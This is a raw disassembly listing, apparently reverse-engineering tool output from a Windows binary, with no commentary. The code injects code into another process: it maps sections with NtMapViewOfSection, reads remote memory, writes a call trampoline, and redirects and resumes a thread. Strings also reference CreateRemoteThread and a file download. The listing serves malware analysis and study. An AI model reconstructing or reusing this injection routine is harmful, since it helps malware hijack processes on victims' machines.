lea r8, str.Message
lea rdx, str.StartFile_MapDll_Error___n
xor ecx, ecx
call qword [0x140009170]
or r12, 0xffffffffffffffff
jmp 0x1400034d2
mov r8d, r13d
mov rdx, r12
mov rcx, r15
call fcn.140003d54
mov rcx, r12
call fcn.140003d34
mov r14d, 0x80
mov edx, 0x800
mov ecx, r14d
call fcn.140001768
lea rcx, [r13 + 0x14000]
mov qword [rsp + 0x28], rbx
mov qword [rbp + 0x788], rcx
lea r8d, [r14 - 0x40]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
or rcx, 0xffffffffffffffff
mov dword [rbp + 0x1c20], eax
xor edx, edx
mov qword [rbp + 0x1c38], rbx
mov qword [rbp + 0x760], rbx
call qword [0x1400090e0]
mov r12d, eax
mov qword [rbp + 0x770], r12
test eax, eax
je 0x1400034ed
mov edx, 0x1000
mov ecx, r14d
call fcn.140001768
mov r14d, eax
cmp eax, 0x1000
jge 0x140003017
mov dword [rsp + 0x48], 0x40
lea rax, [rbp + 0x788]
mov dword [rsp + 0x40], ebx
lea r8, [rbp + 0x1c38]
mov qword [rsp + 0x38], 1
xor r9d, r9d
mov qword [rsp + 0x30], rax
or rdx, 0xffffffffffffffff
mov qword [rsp + 0x28], rbx
mov rcx, r12
mov qword [rsp + 0x20], rbx
mov qword [rbp + 0x1c38], rbx
mov qword [rbp + 0x760], rbx
call qword [0x1400091e0]
test eax, eax
jne 0x140002ffb
mov dword [rsp + 0x48], 0x40
lea rax, [rbp + 0x788]
mov dword [rsp + 0x40], ebx
lea r8, [rbp + 0x760]
mov qword [rsp + 0x38], 1
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov qword [rsp + 0x28], rbx
mov rcx, r12
mov qword [rsp + 0x20], rbx
call qword [0x1400091e0]
test eax, eax
je 0x140003017
inc r14d
mov qword [rbp + 0x1c38], rbx
mov rax, rbx
cmp r14d, 0x1000
jl 0x140002f62
jmp 0x14000301e
mov rax, qword [rbp + 0x1c38]
test rax, rax
jne 0x14000302f
lea rdx, str.RandomNtMapViewOfSection_Error__n
jmp 0x1400034f4
mov edx, dword [rbp + 0x9a4]
lea r8, [rbp + 0x790]
add rdx, 8
mov qword [rbp + 0x790], rbx
mov r9d, 4
mov qword [rsp + 0x20], rbx
mov rcx, rsi
call qword [0x1400091d0]
test eax, eax
je 0x14000306b
lea rdx, str.NtReadVirtualMemory_Error__n
jmp 0x1400034f4
mov r14, qword [rbp + 0x1c38]
test r14, r14
jne 0x140003083
lea rdx, str.StartFile_VirtualAllocEx_Error__n
jmp 0x1400034f4
mov rcx, qword [rbp + 0x760]
lea rdx, [rbp + 0x13d0]
mov rax, qword [rbp + 0x1c28]
mov r8d, 0x800
mov dword [rbp + 0x7d0], eax
movsxd rax, dword [rbp + 0x1c20]
add rax, 0x800
mov dword [rbp + 0x7cc], r13d
mov r13, qword [rbp + 0x768]
add r13, r14
mov dword [rbp + 0x7c8], ecx
lea r12, [r13 + 0x7ee]
add rax, r12
mov qword [rbp + 0x768], rax
add rax, 0x400
mov qword [rbp + 0x780], rax
lea eax, [r13 + 0x686]
sub eax, r14d
add eax, ecx
xor ecx, ecx
mov dword [rbp + 0x7d4], eax
call qword [0x1400090f0]
test eax, eax
jne 0x140003110
lea rdx, str.StartFile_GetExeFile_Error__n
jmp 0x1400034f4
mov rcx, qword [rbp + 0x768]
lea rdx, [rbp + 0x13d0]
inc eax
mov r8d, eax
mov dword [rbp + 0x1c28], eax
call fcn.140003d54
mov rcx, qword [rbp + 0x780]
lea rdx, [rbp + 0x798]
mov r8d, 0x16
call fcn.140003d54
mov rcx, qword [rbp + 0x780]
lea rdx, [rbp + 0x7b8]
add rcx, 0x16
mov r8d, 0xf
call fcn.140003d54
mov rcx, qword [rbp + 0x760]
mov rax, rcx
sub rcx, r14
add qword [rbp + 0x780], rcx
sub rax, r14
add qword [rbp + 0x768], rax
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0xc8
mov dword [rbp + 0x1c20], eax
call qword [0x140009090]
lea rcx, [r15 + 0x20]
mov r8d, 4
lea rdx, [rbp + 0x1c20]
call fcn.140003d54
mov eax, dword [rbp + 0x1c28]
lea rcx, [r15 + 0x24]
mov r8d, 4
mov dword [rbp + 0x1c20], eax
lea rdx, [rbp + 0x1c20]
call fcn.140003d54
mov rax, qword [rbp + 0x768]
lea rcx, [r15 + 0x28]
mov r8d, 4
mov dword [rbp + 0x1c20], eax
lea rdx, [rbp + 0x1c20]
call fcn.140003d54
lea rcx, [r15 + 0x2c]
mov dword [rbp + 0x1c20], 0x25
mov r8d, 4
lea rdx, [rbp + 0x1c20]
call fcn.140003d54
mov rax, qword [rbp + 0x780]
lea rcx, [r15 + 0x30]
mov r8d, 4
mov dword [rbp + 0x1c20], eax
lea rdx, [rbp + 0x1c20]
call fcn.140003d54
movsxd r8, dword [rbp + 0x1c30]
mov rdx, r15
mov rcx, r14
call fcn.140003d54
mov r8d, 0x686
lea rdx, [rbp + 0xd0]
mov rcx, r13
call fcn.140003d54
mov r8d, 0x168
lea rdx, [rsp + 0x60]
lea rcx, [r13 + 0x686]
call fcn.140003d54
mov r8d, edi
lea rdx, [rbp + 0x7c8]
mov rcx, r12
call fcn.140003d54
mov rcx, qword [rbp + 0x770]
call qword [0x1400090d8]
mov eax, dword [rbp + 0x9b0]
sub r12d, r14d
add r12d, dword [rbp + 0x760]
sub r13d, r14d
add r13d, dword [rbp + 0x760]
mov dword [rbp + 0x776], r13d
mov byte [rbp + 0x770], 0x68
mov byte [rbp + 0x775], 0xb8
mov word [rbp + 0x77a], 0xd0ff
mov byte [rbp + 0x77c], 0xc3
mov dword [rbp + 0x771], r12d
sub rax, qword [rbp + 0x790]
lea r9, [rbp + 0x1c28]
add rax, 0x1000
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp + 0x1c20]
xor r8d, r8d
mov qword [rbp + 0x788], rax
mov edx, 0xf001f
mov dword [rbp + 0x1c28], eax
mov qword [rbp + 0x1c20], rbx
mov dword [rbp + 0x1c2c], ebx
mov dword [rsp + 0x20], 0x40
call qword [0x1400091a8]
mov rcx, qword [rbp + 0x1c20]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400034e4
mov dword [rsp + 0x48], 0x40
lea rax, [rbp + 0x788]
mov dword [rsp + 0x40], ebx
lea r8, [rbp + 0x1c38]
mov r15d, 1
mov qword [rbp + 0x1c38], rbx
mov qword [rsp + 0x38], r15
or r12, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov rdx, r12
mov qword [rsp + 0x20], rbx
call qword [0x1400091e0]
test eax, eax
je 0x1400033b3
lea rdx, str.NtMapViewOfSection2_Error__n
lea r8, str.Message
mov r9d, edi
xor ecx, ecx
call qword [0x140009170]
jmp 0x14000350c
mov r14d, dword [rbp + 0x9b0]
lea rdx, [rbp + 0x770]
sub r14, qword [rbp + 0x790]
mov r8d, 0xd
add r14, qword [rbp + 0x1c38]
mov rcx, r14
call fcn.140003d54
sub r14, qword [rbp + 0x1c38]
lea rax, [rbp + 0x788]
mov rcx, qword [rbp + 0x1c20]
lea r8, [rbp + 0x1c38]
mov dword [rsp + 0x48], 0x40
xor r9d, r9d
mov dword [rsp + 0x40], ebx
mov rdx, rsi
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
mov qword [rbp + 0x1c38], rbx
call qword [0x1400091e0]
test eax, eax
je 0x14000343c
lea rdx, str.NtMapViewOfSection3_Error__n
jmp 0x14000339c
mov rcx, qword [rbp + 0x1c20]
add r14, qword [rbp + 0x1c38]
call qword [0x1400090d8]
mov dword [rbp + 0x9b0], r14d
lea rdx, [rbp + 0x900]
mov r14, qword [rbp + 0x7d8]
mov rcx, r14
mov dword [rbp + 0x900], 0x10007
call fcn.140003d0c
test eax, eax
jne 0x14000348e
lea r8, str.CreateRemoteThread
lea rdx, [0x140005b90]
jmp 0x1400033a3
lea rdx, [rbp + 0x7e0]
mov qword [rbp + 0x7e0], rbx
mov rcx, r14
call qword [0x1400091b0]
mov ecx, dword [0x140009190]
call qword [0x1400090d8]
mov rcx, r14
call qword [0x1400090d8]
mov rcx, rsi
call qword [0x1400090d8]
mov rdx, r15
mov rcx, r12
call qword [0x140009108]
mov ebx, r15d
xor edx, edx
mov rcx, r12
call qword [0x140009108]
mov eax, ebx
jmp 0x14000358f
lea rdx, str.MapCreateFileMapping2_Error__n
jmp 0x1400034f4
lea rdx, str.MapCreateFileMapping_Error__n
lea r8, str.Message
mov r9d, edi
xor ecx, ecx
call qword [0x140009170]
mov r15d, 1
mov rdx, r15
mov rcx, rsi
call qword [0x140009108]
jmp 0x14000353f
mov rdx, r15
mov rcx, rsi
call qword [0x140009108]
lea rdx, str.CreateFileA_Error___n
mov r9d, edi
lea r8, str.Message
xor ecx, ecx
call qword [0x140009170]
mov ecx, dword [0x140009190]
call qword [0x1400090d8]
mov r9d, edi
lea r8, str.CreateProcess
lea rdx, [0x140005be0]
xor ecx, ecx
call qword [0x140009170]
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [0x140009108]
mov eax, r15d
jmp 0x14000358f
lea rdx, str._DownloadFile_Error__n
mov r9d, 0x10
mov r8, rsi
xor ecx, ecx
call qword [0x140009170]
xor eax, eax
add rsp, 0x1cd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret